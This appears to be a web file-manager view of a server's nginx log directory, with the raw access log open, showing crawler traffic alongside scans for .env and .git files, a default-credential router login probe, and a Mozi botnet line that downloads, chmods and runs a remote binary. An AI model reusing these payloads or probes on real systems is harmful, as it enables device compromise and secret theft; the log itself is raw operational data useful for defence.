/
var
/
log
/
nginx
/
/var/log/nginx
mkdir
upload
Name
Size
Mode
Actions
access.log
56326
0640
edit
dl
rm
access.log.1
427675
0640
edit
dl
rm
access.log.2.gz
11471
0640
edit
dl
rm
access.log.3.gz
24930
0640
edit
dl
rm
access.log.4.gz
29585
0640
edit
dl
rm
access.log.5.gz
24571
0640
edit
dl
rm
access.log.6.gz
33898
0640
edit
dl
rm
access.log.7.gz
32086
0640
edit
dl
rm
access.log.8.gz
14163
0640
edit
dl
rm
access.log.9.gz
33726
0640
edit
dl
rm
access.log.10.gz
21775
0640
edit
dl
rm
access.log.11.gz
31107
0640
edit
dl
rm
access.log.12.gz
44117
0640
edit
dl
rm
access.log.13.gz
29474
0640
edit
dl
rm
access.log.14.gz
37537
0640
edit
dl
rm
error.log
0
0640
edit
dl
rm
error.log.1
76
0640
edit
dl
rm
error.log.2.gz
96
0640
edit
dl
rm
error.log.3.gz
179
0640
edit
dl
rm
error.log.4.gz
95
0640
edit
dl
rm
error.log.5.gz
95
0640
edit
dl
rm
error.log.6.gz
94
0640
edit
dl
rm
error.log.7.gz
152
0640
edit
dl
rm
error.log.8.gz
95
0640
edit
dl
rm
error.log.9.gz
95
0640
edit
dl
rm
error.log.10.gz
93
0640
edit
dl
rm
nabawater_access.log
11395109
0640
edit
dl
rm
nabawater_access.log.1
6454445
0640
edit
dl
rm
nabawater_access.log.2.gz
204622
0640
edit
dl
rm
nabawater_access.log.3.gz
135429
0640
edit
dl
rm
nabawater_access.log.4.gz
159202
0640
edit
dl
rm
nabawater_access.log.5.gz
157205
0640
edit
dl
rm
nabawater_access.log.6.gz
196651
0640
edit
dl
rm
nabawater_access.log.7.gz
114385
0640
edit
dl
rm
nabawater_access.log.8.gz
163990
0640
edit
dl
rm
nabawater_access.log.9.gz
175153
0640
edit
dl
rm
nabawater_access.log.10.gz
174963
0640
edit
dl
rm
nabawater_access.log.11.gz
179573
0640
edit
dl
rm
nabawater_access.log.12.gz
166580
0640
edit
dl
rm
nabawater_access.log.13.gz
175608
0640
edit
dl
rm
nabawater_access.log.14.gz
138498
0640
edit
dl
rm
nabawater_error.log
522462
0640
edit
dl
rm
nabawater_error.log.1
1120686
0640
edit
dl
rm
nabawater_error.log.2.gz
47806
0640
edit
dl
rm
nabawater_error.log.3.gz
25120
0640
edit
dl
rm
nabawater_error.log.4.gz
27074
0640
edit
dl
rm
nabawater_error.log.5.gz
32430
0640
edit
dl
rm
nabawater_error.log.6.gz
47387
0640
edit
dl
rm
nabawater_error.log.7.gz
30902
0640
edit
dl
rm
nabawater_error.log.8.gz
38209
0640
edit
dl
rm
nabawater_error.log.9.gz
38946
0640
edit
dl
rm
nabawater_error.log.10.gz
38735
0640
edit
dl
rm
nabawater_error.log.11.gz
45274
0640
edit
dl
rm
nabawater_error.log.12.gz
57051
0640
edit
dl
rm
nabawater_error.log.13.gz
56466
0640
edit
dl
rm
nabawater_error.log.14.gz
49051
0640
edit
dl
rm
Edit:
/var/log/nginx/access.log
(56326B)
4.43.184.113 - - [11/Sep/2026:00:04:30 +0000] "GET /mont.htm HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36" 4.43.184.113 - - [11/Sep/2026:00:10:01 +0000] "GET /temp/ing/one/kip/ssh/mc/a/b/auth.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36" 4.43.184.113 - - [11/Sep/2026:00:11:06 +0000] "GET /style/omo/anu/my/mc/a/b/auth.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36" 4.43.184.113 - - [11/Sep/2026:00:11:08 +0000] "GET /images/cgi/bin/mrk/bom/mc/a/b/auth.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36" 34.79.230.17 - - [11/Sep/2026:00:11:57 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 181.214.32.235 - - [11/Sep/2026:00:28:08 +0000] "GET /.env HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 181.214.32.235 - - [11/Sep/2026:00:28:09 +0000] "POST / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 45.33.12.122 - - [11/Sep/2026:00:33:54 +0000] "GET / HTTP/1.1" 404 134 "-" "Mozilla/5.0 zgrab/0.x" 172.104.11.51 - - [11/Sep/2026:00:35:53 +0000] "GET / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 54.184.226.94 - - [11/Sep/2026:00:39:11 +0000] "GET /?rnd=1789087151240 HTTP/1.1" 301 178 "-" "GoDaddy-UptimeMonitoring" 185.218.86.25 - - [11/Sep/2026:00:45:13 +0000] "GET / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 130.94.119.182 - - [11/Sep/2026:00:57:33 +0000] "\x16\x03\x01\x05\xE1\x01\x00\x05\xDD\x03\x03/M\xDF\xF3$\x12z@H\xCC\x9Fo-*\xCD}\x1A6\xB5\xF4m'\x85\xBD\xC8$" 400 166 "-" "-" 130.94.119.182 - - [11/Sep/2026:00:57:33 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36" 130.94.119.182 - - [11/Sep/2026:00:57:34 +0000] "\x16\x03\x01\x05\xE1\x01\x00\x05\xDD\x03\x03\x9D\xF5\xF5xf\xB0\xF6V\xD1l\xD0\x95\x9C\xEC]>wYE\xD19\xC7\xAD9$\x8C\xAC\x1A\x05W\xE9\xCB \x95Tj\x9E\xFE\xF3\xF4_@]_\x01\xD0\x0B\x00\xB8$\xFC\x0B\xC5\xD1@\x917\xB4\x87\xEF\xF5Ic\xA0\x22\x002\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0" 400 166 "-" "-" 130.94.119.182 - - [11/Sep/2026:00:57:43 +0000] "GET /uploads/site-images/1714411428cy8tO.png HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36" 106.63.26.21 - - [11/Sep/2026:01:18:52 +0000] "\x16\x03\x01\x01\x1C\x01\x00\x01\x18\x03\x03\x95\xEC\xA0\x19\xEA\x1A\xDC;\xFB\xAE7wl|\xDD\xE68\xEFb\x1D\x03\xC6\x85\x8A\xE6&\xDC_|\x7F\xB5E s\xDB\xC9a\x89\x0C/\xA6\xBB&\x19\xAF%:?\x5C\xD8\x88" 400 166 "-" "-" 106.63.26.6 - - [11/Sep/2026:01:18:53 +0000] "GET / HTTP/1.1" 404 564 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 106.63.26.22 - - [11/Sep/2026:01:19:15 +0000] "GET /favicon.ico HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 106.63.26.147 - - [11/Sep/2026:01:19:17 +0000] "GET /robots.txt HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 106.63.26.22 - - [11/Sep/2026:01:19:24 +0000] "GET /sitemap.xml HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 45.39.17.66 - - [11/Sep/2026:01:23:57 +0000] "GET /.env HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 45.39.17.66 - - [11/Sep/2026:01:23:58 +0000] "POST / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 54.184.226.94 - - [11/Sep/2026:01:39:13 +0000] "GET /?rnd=1789090752634 HTTP/1.1" 301 178 "-" "GoDaddy-UptimeMonitoring" 172.236.119.165 - - [11/Sep/2026:01:43:01 +0000] "GET / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 208.109.74.61 - - [11/Sep/2026:01:43:32 +0000] "GET /.well-known/acme-challenge/1Q9IKCOURY1ZQO342ZW1-UPTCSCQYFGN HTTP/1.1" 301 178 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:01:43:33 +0000] "GET /.well-known/acme-challenge/XW0OCL-BTOAAYTD4U5OJK0XPQU71PJQ4 HTTP/1.1" 301 178 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:01:43:35 +0000] "GET /.well-known/acme-challenge/VVRE62_3U7XWJ3WSGBZTTHYX3KHRR067 HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:01:43:37 +0000] "GET /.well-known/acme-challenge/UJDU63F6WOPBHV-GR7C7WA-KUBWCM94V HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:01:43:37 +0000] "GET /.well-known/acme-challenge/2VGP2IXLTICKZALF9YRROFAIS2SMFV6F HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:01:43:38 +0000] "GET /.well-known/acme-challenge/2WAGCRTXVPPBK95TA0Z8CUPBBY2CJQC1 HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 207.90.244.14 - - [11/Sep/2026:01:53:51 +0000] "GET / HTTP/1.1" 404 564 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 207.90.244.14 - - [11/Sep/2026:01:53:57 +0000] "GET /sitemap.xml HTTP/1.1" 404 162 "-" "-" 207.90.244.14 - - [11/Sep/2026:01:53:58 +0000] "GET /.well-known/security.txt HTTP/1.1" 404 162 "-" "-" 207.90.244.14 - - [11/Sep/2026:01:54:01 +0000] "GET /favicon.ico HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36" 101.33.55.204 - - [11/Sep/2026:02:14:11 +0000] "GET / HTTP/1.1" 404 134 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 207.175.164.112 - - [11/Sep/2026:02:37:14 +0000] "GET /page/test2 HTTP/1.1" 301 178 "-" "Mozilla/5.0 (compatible; VelenPublicWebCrawler/1.0; +https://velen.io)" 54.184.226.94 - - [11/Sep/2026:02:39:23 +0000] "GET /?rnd=1789094363375 HTTP/1.1" 301 178 "-" "GoDaddy-UptimeMonitoring" 106.52.49.148 - - [11/Sep/2026:02:41:29 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.228.53.174 - - [11/Sep/2026:02:41:35 +0000] "GET / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 188.166.47.136 - - [11/Sep/2026:02:45:32 +0000] "GET / HTTP/1.1" 404 134 "-" "Mozilla/5.0 (compatible; ForestEngine/1.0; +https://forestengine.net/)" 188.166.47.136 - - [11/Sep/2026:02:45:32 +0000] "GET /favicon.ico HTTP/1.1" 404 134 "-" "Mozilla/5.0 (compatible; ForestEngine/1.0; +https://forestengine.net/)" 34.22.246.203 - - [11/Sep/2026:02:45:40 +0000] "GET /home/contact HTTP/1.1" 301 178 "-" "Mozilla/5.0 (compatible; VelenPublicWebCrawler/1.0; +https://velen.io)" 178.105.183.10 - - [11/Sep/2026:02:54:23 +0000] "GET / HTTP/1.1" 301 178 "-" "2ip bot/1.1 (+https://2ip.io/bot/)" 153.117.70.60 - - [11/Sep/2026:03:09:01 +0000] "GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0" 301 178 "-" "-" 51.36.219.146 - - [11/Sep/2026:03:10:33 +0000] "GET / HTTP/1.1" 301 178 "https://www.linkedin.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [LinkedInApp]/9.32.3384" 143.244.57.92 - - [11/Sep/2026:03:32:08 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 143.244.57.92 - - [11/Sep/2026:03:32:08 +0000] "" 400 0 "-" "-" 54.184.226.94 - - [11/Sep/2026:03:38:59 +0000] "GET /?rnd=1789097939166 HTTP/1.1" 301 178 "-" "GoDaddy-UptimeMonitoring" 64.23.190.241 - - [11/Sep/2026:03:47:00 +0000] "GET / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 64.23.190.241 - - [11/Sep/2026:03:47:01 +0000] "GET /favicon.ico HTTP/1.1" 404 196 "http://autoconfig.nabawater.com.sa/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 43.165.198.144 - - [11/Sep/2026:03:56:23 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.31.17 - - [11/Sep/2026:04:05:38 +0000] "GET / HTTP/1.1" 404 134 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.173.174.233 - - [11/Sep/2026:04:19:59 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 120.239.255.182 - - [11/Sep/2026:04:22:20 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Linux; Android 10; PGEM10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Mobile Safari/537.36" 192.36.109.196 - - [11/Sep/2026:04:29:00 +0000] "GET /robots.txt HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 185.12.250.107 - - [11/Sep/2026:04:29:01 +0000] "GET /llms.txt HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 193.183.84.48 - - [11/Sep/2026:04:29:03 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 46.203.202.238 - - [11/Sep/2026:04:29:18 +0000] "GET /.env HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 46.203.202.238 - - [11/Sep/2026:04:29:18 +0000] "POST / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 54.184.226.94 - - [11/Sep/2026:04:39:01 +0000] "GET /?rnd=1789101540869 HTTP/1.1" 301 178 "-" "GoDaddy-UptimeMonitoring" 208.109.74.61 - - [11/Sep/2026:04:43:31 +0000] "GET /.well-known/acme-challenge/6YWNZD85QW_A42WNIWV1_8H96LVCAAOB HTTP/1.1" 301 178 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:04:43:33 +0000] "GET /.well-known/acme-challenge/3GMLAO4COJ-9B5-LN511WKDDMXZEA4U2 HTTP/1.1" 301 178 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:04:43:35 +0000] "GET /.well-known/acme-challenge/Y9DC28QNAE2BR5YHY5RFYTKUOXOKWGJL HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:04:43:37 +0000] "GET /.well-known/acme-challenge/E1016NR4YOU03R3ZGAKR8_BX9ZZ40QJ1 HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:04:43:37 +0000] "GET /.well-known/acme-challenge/4C7TI9YZMIJQ-JYL_L7R5GKPMWULTJME HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:04:43:38 +0000] "GET /.well-known/acme-challenge/WMG_B7VUZY-FL0U9SJTMZK1IMJCNW6VE HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 64.89.161.90 - - [11/Sep/2026:04:46:24 +0000] "GET /admin/assets/ajax_fullcalendar.php HTTP/1.1" 301 178 "-" "ALittle Client" 179.110.135.122 - - [11/Sep/2026:04:47:48 +0000] "SSH-2.0-PuTTY_Release_0.83" 400 166 "-" "-" 43.154.127.188 - - [11/Sep/2026:04:48:35 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 3.253.139.141 - - [11/Sep/2026:04:51:48 +0000] "GET / HTTP/1.0" 404 162 "-" "Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)" 185.218.86.25 - - [11/Sep/2026:04:53:37 +0000] "GET / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 198.235.24.28 - - [11/Sep/2026:04:59:31 +0000] "GET / HTTP/1.1" 404 134 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 216.180.246.138 - - [11/Sep/2026:05:07:17 +0000] "GET / HTTP/1.0" 301 178 "-" "Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/genomecrawler)" 216.180.246.138 - - [11/Sep/2026:05:08:40 +0000] "GET / HTTP/1.0" 301 178 "-" "Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/genomecrawler)" 216.180.246.138 - - [11/Sep/2026:05:10:28 +0000] "\x16\x03\x01\x00\xFD\x01\x00\x00\xF9\x03\x03\x1CC`)\xF6\x19\xEAfE\x15\x80n\xA9\x8BJ\x06\xC9\xE5h\x84\xCD\x16K\x89\xF1=<\xA0\xCE\xF3XL \x15Z\x83\xB2\xBE\xA2\x06v\x81\xB7\xF1\xF5q\xDFw\x12\x0Ct'\x7FsVh\xBA\x98\xE0\x87\xCE\xEA\x96%\x80\x00&\xCC\xA8\xCC\xA9\xC0/\xC00\xC0+\xC0,\xC0\x13\xC0\x09\xC0\x14\xC0" 400 166 "-" "-" 216.180.246.138 - - [11/Sep/2026:05:11:20 +0000] "GET / HTTP/1.1" 404 134 "-" "Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/genomecrawler)" 216.180.246.138 - - [11/Sep/2026:05:11:22 +0000] "GET /manage/account/login HTTP/1.1" 404 134 "-" "Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/genomecrawler)" 35.162.140.124 - - [11/Sep/2026:05:39:13 +0000] "GET /?rnd=1789105153153 HTTP/1.1" 301 178 "-" "GoDaddy-UptimeMonitoring" 65.0.68.186 - - [11/Sep/2026:06:06:34 +0000] "\x16\x03\x01\x02\x00\x01\x00\x01\xFC\x03\x03[\xCD,\xE8\xD22\xFA~\xFD(H\xC5\xA5\xA8\xC7|\x84:\xCD}\xA2\xDC5\x0E\x9D\xD8\xDBX\xF5\xB0\x84\x1C \x22\xA9\xA4\x0CE:\xB3441L*:\x15\xAB\x84%\x89\xFF\x1A\xDB\xE5\xF5H\xE9\x02\x1B\xDE\x86\xDC\xEB\xC3\x00$\x13\x02\x13\x03\x13\x01\x13\x04\xC0,\xC00\xC0+\xC0/\xCC\xA9\xCC\xA8\xC0$\xC0(\xC0#\xC0'\x00\x9F\x00\x9E\x00k\x00g\x01\x00\x01\x8F\xFF\x01\x00\x01\x00\x00\x00\x00\x13\x00\x11\x00\x00\x0Eapi.ivacbd.com\x00\x0B\x00\x04\x03\x00\x01\x02\x00" 400 166 "-" "-" 65.0.68.186 - - [11/Sep/2026:06:06:34 +0000] "\x16\x03\x01\x02\x00\x01\x00\x01\xFC\x03\x03\x84^o\x08\x22" 400 166 "-" "-" 65.0.68.186 - - [11/Sep/2026:06:06:35 +0000] "\x16\x03\x01\x02\x00\x01\x00\x01\xFC\x03\x03gw\x00\xB3$\x1C\xF2\x94\x8B>\xDF\xD6\x9C\xE5/+\xB80\xA5\xED\x1C\xE82\x9D\x00\x15Jy\xA6-b\xE8 \x1A/\xD4\xCD\x8FV\xAEf\xF8#z\x87\xE7\xBAf\x13\x8E\x1A\x81\x9FA\xC2\x04\x0Bz\x0Bzg5v\x92m\x00$\x13\x02\x13\x03\x13\x01\x13\x04\xC0,\xC00\xC0+\xC0/\xCC\xA9\xCC\xA8\xC0$\xC0(\xC0#\xC0'\x00\x9F\x00\x9E\x00k\x00g\x01\x00\x01\x8F\xFF\x01\x00\x01\x00\x00\x00\x00\x13\x00\x11\x00\x00\x0Eapi.ivacbd.com\x00\x0B\x00\x04\x03\x00\x01\x02\x00" 400 166 "-" "-" 141.148.179.64 - - [11/Sep/2026:06:18:23 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" 32.193.54.150 - - [11/Sep/2026:06:20:36 +0000] "GET /robots.txt HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 130.94.119.182 - - [11/Sep/2026:06:25:47 +0000] "GET /api/.env HTTP/1.1" 404 134 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" 130.94.119.182 - - [11/Sep/2026:06:25:47 +0000] "GET /.env HTTP/1.1" 404 134 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.6" 130.94.119.182 - - [11/Sep/2026:06:25:48 +0000] "GET /.git/HEAD HTTP/1.1" 404 134 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27" 82.22.223.41 - - [11/Sep/2026:06:35:50 +0000] "GET /.env HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 82.22.223.41 - - [11/Sep/2026:06:35:51 +0000] "POST / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 36.255.33.254 - - [11/Sep/2026:06:37:56 +0000] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 166 "-" "-" 130.94.119.182 - - [11/Sep/2026:06:39:00 +0000] "GET /api/.env HTTP/1.1" 404 134 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.17" 130.94.119.182 - - [11/Sep/2026:06:39:00 +0000] "GET /.env HTTP/1.1" 404 134 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15" 54.184.226.94 - - [11/Sep/2026:06:39:22 +0000] "GET /?rnd=1789108761994 HTTP/1.1" 301 178 "-" "GoDaddy-UptimeMonitoring" 124.156.225.181 - - [11/Sep/2026:06:44:35 +0000] "GET / HTTP/1.1" 404 134 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 223.123.71.171 - - [11/Sep/2026:06:46:38 +0000] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 166 "-" "-" 130.94.119.182 - - [11/Sep/2026:07:31:18 +0000] "GET /.git/HEAD HTTP/1.1" 404 134 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.14" 173.252.87.16 - - [11/Sep/2026:07:36:08 +0000] "GET /robots.txt HTTP/1.1" 301 178 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 35.162.140.124 - - [11/Sep/2026:07:39:04 +0000] "GET /?rnd=1789112343276 HTTP/1.1" 301 178 "-" "GoDaddy-UptimeMonitoring" 130.94.119.182 - - [11/Sep/2026:07:39:28 +0000] "GET /.env HTTP/1.1" 404 134 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10" 130.94.119.182 - - [11/Sep/2026:07:39:28 +0000] "GET /api/.env HTTP/1.1" 404 134 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15 MarketGoo/2.1" 130.94.119.182 - - [11/Sep/2026:07:39:28 +0000] "GET /.git/HEAD HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" 159.223.189.165 - - [11/Sep/2026:07:41:31 +0000] "GET /English/images/products/small/1.jpg HTTP/1.1" 301 178 "http://nabawater.com.sa/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 118.179.49.49 - - [11/Sep/2026:07:41:34 +0000] "GET http://nabawater.com.sa/English/images/products/small/1.jpg HTTP/1.1" 301 178 "http://nabawater.com.sa/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 181.214.6.202 - - [11/Sep/2026:07:42:00 +0000] "GET /.env HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 181.214.6.202 - - [11/Sep/2026:07:42:01 +0000] "POST / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 208.109.74.61 - - [11/Sep/2026:07:43:26 +0000] "GET /.well-known/acme-challenge/2LUZ7C2E5AJ5XJ5WWL_6JHMOUOZOLLP8 HTTP/1.1" 301 178 "-" "Cpanel-HTTP-Client/1.0" 